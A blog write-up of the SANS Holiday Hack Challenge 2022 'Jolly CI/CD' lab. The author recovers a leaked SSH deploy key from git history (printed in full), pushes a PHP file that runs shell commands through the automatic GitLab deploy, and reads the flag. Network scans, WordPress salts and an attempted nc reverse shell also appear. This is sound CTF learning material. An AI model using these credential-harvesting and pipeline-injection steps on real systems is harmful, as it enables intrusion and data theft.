Home Sans Holiday Hack Challenge 2022
Post
Cancel

Sans Holiday Hack Challenge 2022

SANS holiday hack challenge 2022 - Jolly CI/CD

Some colleagues shared a hacking challenge organized by SANS and I decided to give it a go. There were quite a lot of interesting challenges with varying difficulty but there was one that stand out named ‘Jolly CI/CD’. This is my write up for this challenge.

Information gathering

Starting up this challenge we are greeted with a terminal that remind us the previous one from the same room, called ‘Prison Escape’. We can still become root with sudo -i but this time fdisk -l shows no information and after messing around with the container it looks like it’s not possible to escape.

After speaking with ‘Tinsel Upatree’ we get a more clear idea of what our objectives are. As we are informed, Tinsel has set up a new CI/CD system where he can push changes and a Gitlab runner will pick them up and deploy them to production automatically. As he’s talking to us, he shares that the git repository is located at http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git.

Let’s try and clone this with

1
git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git

Success! It looks like we can successfully clone the repo and we can start digging around. Looking at the cloned folder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
grinchum-land:~/wordpress.flag.net.internal$ ls -lah
total 236K
drwxr-xr-x  6 samways users 4.0K Dec 25 19:05 .
drwxr-xr-x  1 samways  1002 4.0K Dec 25 19:05 ..
drwxr-xr-x  8 samways users 4.0K Dec 25 19:05 .git
-rw-r--r--  1 samways users  258 Dec 25 19:05 .gitlab-ci.yml
-rw-r--r--  1 samways users  405 Dec 25 19:05 index.php
-rw-r--r--  1 samways users  20K Dec 25 19:05 license.txt
-rw-r--r--  1 samways users 7.3K Dec 25 19:05 readme.html
-rw-r--r--  1 samways users 7.0K Dec 25 19:05 wp-activate.php
drwxr-xr-x  9 samways users 4.0K Dec 25 19:05 wp-admin
-rw-r--r--  1 samways users  351 Dec 25 19:05 wp-blog-header.php
-rw-r--r--  1 samways users 2.3K Dec 25 19:05 wp-comments-post.php
-rw-r--r--  1 samways users 3.0K Dec 25 19:05 wp-config-sample.php
-rw-r--r--  1 samways users 5.6K Dec 25 19:05 wp-config.php
drwxr-xr-x  6 samways users 4.0K Dec 25 19:05 wp-content
-rw-r--r--  1 samways users 3.9K Dec 25 19:05 wp-cron.php
drwxr-xr-x 26 samways users  12K Dec 25 19:05 wp-includes
-rw-r--r--  1 samways users 2.5K Dec 25 19:05 wp-links-opml.php
-rw-r--r--  1 samways users 3.9K Dec 25 19:05 wp-load.php
-rw-r--r--  1 samways users  48K Dec 25 19:05 wp-login.php
-rw-r--r--  1 samways users 8.4K Dec 25 19:05 wp-mail.php
-rw-r--r--  1 samways users  24K Dec 25 19:05 wp-settings.php
-rw-r--r--  1 samways users  32K Dec 25 19:05 wp-signup.php
-rw-r--r--  1 samways users 4.8K Dec 25 19:05 wp-trackback.php
-rw-r--r--  1 samways users 3.2K Dec 25 19:05 xmlrpc.php

it’s clear that the hosted website is a Wordpress one. Since I’ve worked with Wordpress sites in the past, one file directly caught my attention: wp-config.php. This file is one of the most important ones and usually contains passwords for connecting to the SQL database.

Unfortunately, the variables are populated by the docker environment that the Wordpress site is running.

1
2
3
4
5
6
7
define( 'DB_NAME', getenv_docker('WORDPRESS_DB_NAME', 'wordpress') );

/** Database username */
define( 'DB_USER', getenv_docker('WORDPRESS_DB_USER', 'example username') );

/** Database password */
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', 'example password') );

Looking a bit further down we can find the domain name of the Wordpress site:

1
2
3
4
5
if(getenv_docker('WORDPRESS_ENV', false)) {
        $url = "http://wordpress.flag.net.internal:8080";
} else {
        $url = "http://wordpress.flag.net.internal";
}

Since curl is available in the container, can make requests to the website but for now there is nothing interesting there.

Now, let’s have a look at the git history with git log in case there is something interesting there. Commit e19f653bde9ea3de6af21a587e41e7a909db1ca5 has an interesting description: ‘whoops’!

1
2
3
4
5
commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
Author: knee-oh <sporx@kringlecon.com>
Date:   Tue Oct 25 13:42:54 2022 -0700

    whoops

Using git diff abdea0ebb21b156c01f7533cea3b895c26198c98 e19f653bde9ea3de6af21a587e41e7a909db1ca5 --name-only shows us the files changed:

1
2
.ssh/.deploy
.ssh/.deploy.pub

It looks like Tinsel Upatree accidentally pushed his deploy ssh keys to the repository! Running again the above command without –name-only we can clearly see the private and public keys:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
grinchum-land:~/wordpress.flag.net.internal$ git diff abdea0ebb21b156c01f7533cea3b895c26198c98 e19f653bde9ea3de6af21a587e41e7a909db1ca5 

diff --git a/.ssh/.deploy b/.ssh/.deploy
deleted file mode 100644
index 3f7a9e3..0000000
--- a/.ssh/.deploy
+++ /dev/null
@@ -1,7 +0,0 @@
------BEGIN OPENSSH PRIVATE KEY-----
-b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
-QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5
-9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g
-AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot
-PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ==
------END OPENSSH PRIVATE KEY-----
diff --git a/.ssh/.deploy.pub b/.ssh/.deploy.pub
deleted file mode 100644
index 8c0b43c..0000000
--- a/.ssh/.deploy.pub
+++ /dev/null
@@ -1 +0,0 @@
-ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com

Let’s copy the keys to our local .ssh folder:

1
2
3
4
5
git checkout abdea0ebb21b156c01f7533cea3b895c26198c98 
mkdir ~/.ssh/
cp .ssh/.deploy ~/.ssh/id_rsa
cp .ssh/.deploy.pub ~/.ssh/id_rsa.pub
chmod 600 ~/.ssh/* 

and also change the permissions or else we’ll get some warning/error later when we’ll try to use them as the current ones are too broad.

So far, we haven’t discovered any attack vector to the Wordpress site but let’s summarize what we know:

  • The server url is http://wordpress.flag.net.internal
  • The server is using PHP since it’s running a Wordpress site
  • Tinsel Upatree pushed his private ssh key to the git repo

Using the above information one attack scenario is slowly formed: what if we could push updates to the git repo? Would it be possible to change PHP files or even create arbitrary ones and execute code on the remote server?

The last question is answered by looking at another important file, called .gitlab-ci.yml:

1
2
3
4
5
6
7
8
9
grinchum-land:~/wordpress.flag.net.internal$ cat .gitlab-ci.yml 
stages:
  - deploy

deploy-job:      
  stage: deploy 
  environment: production
  script:
    - rsync -e "ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy" --chown=www-data:www-data -atv --delete --progress ./ root@wordpress.flag.net.internal:/var/www/html

Whenever a change is pushed into the repository, GitLab Runner will run the script defined in this file which will copy the contents of the repo to the /var/www/html location on the production server.

Launching our attack

Currently we cannot push changes to the git repo since the remote is using the http protocol:

1
2
3
4
grinchum-land:~/wordpress.flag.net.internal$ git remote -v

origin  http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git (fetch)
origin  http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git (push)

and we’d want to use the ssh one (since we have the ssh keys). We can either change the remote with git remote set-url origin ssh://git@gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git or clone again using git clone ssh://git@gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git.

Once the remote origin points to the correct url, we can create a simple php file that will list all the files in a directory using the exec PHP function:

1
2
3
4
5
6
7
8
9
<?
$var = "hi\n";
exec('ls -lah /root/ 2>&1', $var);
foreach($var as $val)
{
        echo $val;
        echo "\n";
}
?>

We create a new file called info.php, add the above code and push it to the repository:

1
2
3
4
5
git config --global user.email "santa@northpole.com" 
git config --global user.name "Santa"
git add info.php
git commit -m "New secret file"
git push origin

Once the file is pushed, we wait a few seconds and use curl to perform a GET request:

1
2
3
4
5
grinchum-land:~/wordpress.flag.net.internal$ curl wordpress.flag.net.internal/info.php
total 84K
drwxr-xr-x   2 root     root     4.0K Sep  3 12:10 home
drwxr-xr-x   2 root     root     4.0K Sep  3 12:10 boot
-rw-r--r--   1 www-data www-data 7.4K Oct 22 16:40 flag.txt

Aha! A file called flag.txt under the /root folder. Let’s change our PHP file to execute cat /flag.txt. Once we perform the same steps as before we can get our flag oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT.

Various information discovered

While I was searching for a possible attack vector I came across a lot of interesting information which I will summarize below. I’m pretty sure that there are other ways to get the flag but due to limited time on my side and since there is a great lack of motivation from the moment I found the flag I won’t spend time to explore all of them.

Scanning the network with nmap

Scanning the subnet 172.18.0.1/20 using nmap, yields some interesting results. First, we get a list of the hosts that are up and running

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Nmap scan report for 172.18.0.1
Host is up (0.000050s latency).

Nmap scan report for wordpress-db.local_docker_network (172.18.0.87)
Host is up (0.000092s latency).

Nmap scan report for wordpress.local_docker_network (172.18.0.88)
Host is up (0.000083s latency).

Nmap scan report for gitlab.local_docker_network (172.18.0.150)
Host is up (0.000026s latency).

Nmap scan report for gitlab-runner.local_docker_network (172.18.1.149)
Host is up (0.000018s latency).

Nmap scan report for postgresql.local_docker_network (172.18.1.200)
Host is up (0.000044s latency).

Nmap scan report for redis.local_docker_network (172.18.2.87)
Host is up (0.000044s latency).

and after scanning some of them a bit more thoroughly we can identify wich ports are open

1
2
3
4
5
6
7
sudo nmap -p- 172.18.0.87 -sS

Nmap scan report for wordpress-db.local_docker_network (172.18.0.87)
Host is up (0.0000080s latency).

PORT     STATE SERVICE
3306/tcp open  mysql

Sensitive information

Once we checkout to the commit that contains the deploy ssh keys, if we look at the wp-config.php file, we can access some sensitive config information

1
2
3
4
5
6
7
8
define( 'AUTH_KEY',         getenv_docker('WORDPRESS_AUTH_KEY',         '828baa18284a5a7bfd11a00b872370c8ed403f3b') );
define( 'SECURE_AUTH_KEY',  getenv_docker('WORDPRESS_SECURE_AUTH_KEY',  '642534c3a9a10dde9d2837e1a3c940af3dca0893') );
define( 'LOGGED_IN_KEY',    getenv_docker('WORDPRESS_LOGGED_IN_KEY',    '2752181bd2e986d32448bd55beb4ac6c49a709f4') );
define( 'NONCE_KEY',        getenv_docker('WORDPRESS_NONCE_KEY',        '5bf27de94d31f288ae971b76b2281329c2bbdfee') );
define( 'AUTH_SALT',        getenv_docker('WORDPRESS_AUTH_SALT',        'fdc0ba7e8bf25d7197f4367f8fb81eb9ee79f5e8') );
define( 'SECURE_AUTH_SALT', getenv_docker('WORDPRESS_SECURE_AUTH_SALT', '760c60029c3867ea1f27011896c3dc5316d895cd') );
define( 'LOGGED_IN_SALT',   getenv_docker('WORDPRESS_LOGGED_IN_SALT',   'aa193eca87378d51d6e574fceb5120c92cd1349c') );
define( 'NONCE_SALT',       getenv_docker('WORDPRESS_NONCE_SALT',       'debed84d451729b0c0b316661ff8caf40875514a') );

Altering the script in .gitlab-ci.yml

In theory, it would be possible to alter the script or add our own in the .gitlab-ci.yml file and gain access to the server. Though, I found it pretty slow to try and test things this way and since there was no easy way to get feedback whenever I broke something I put this attack aside. Some things I tried were to copy the .ssh keys of the GitRunner container and create a reverse shell using nc.

This post is licensed under CC BY 4.0 by the author.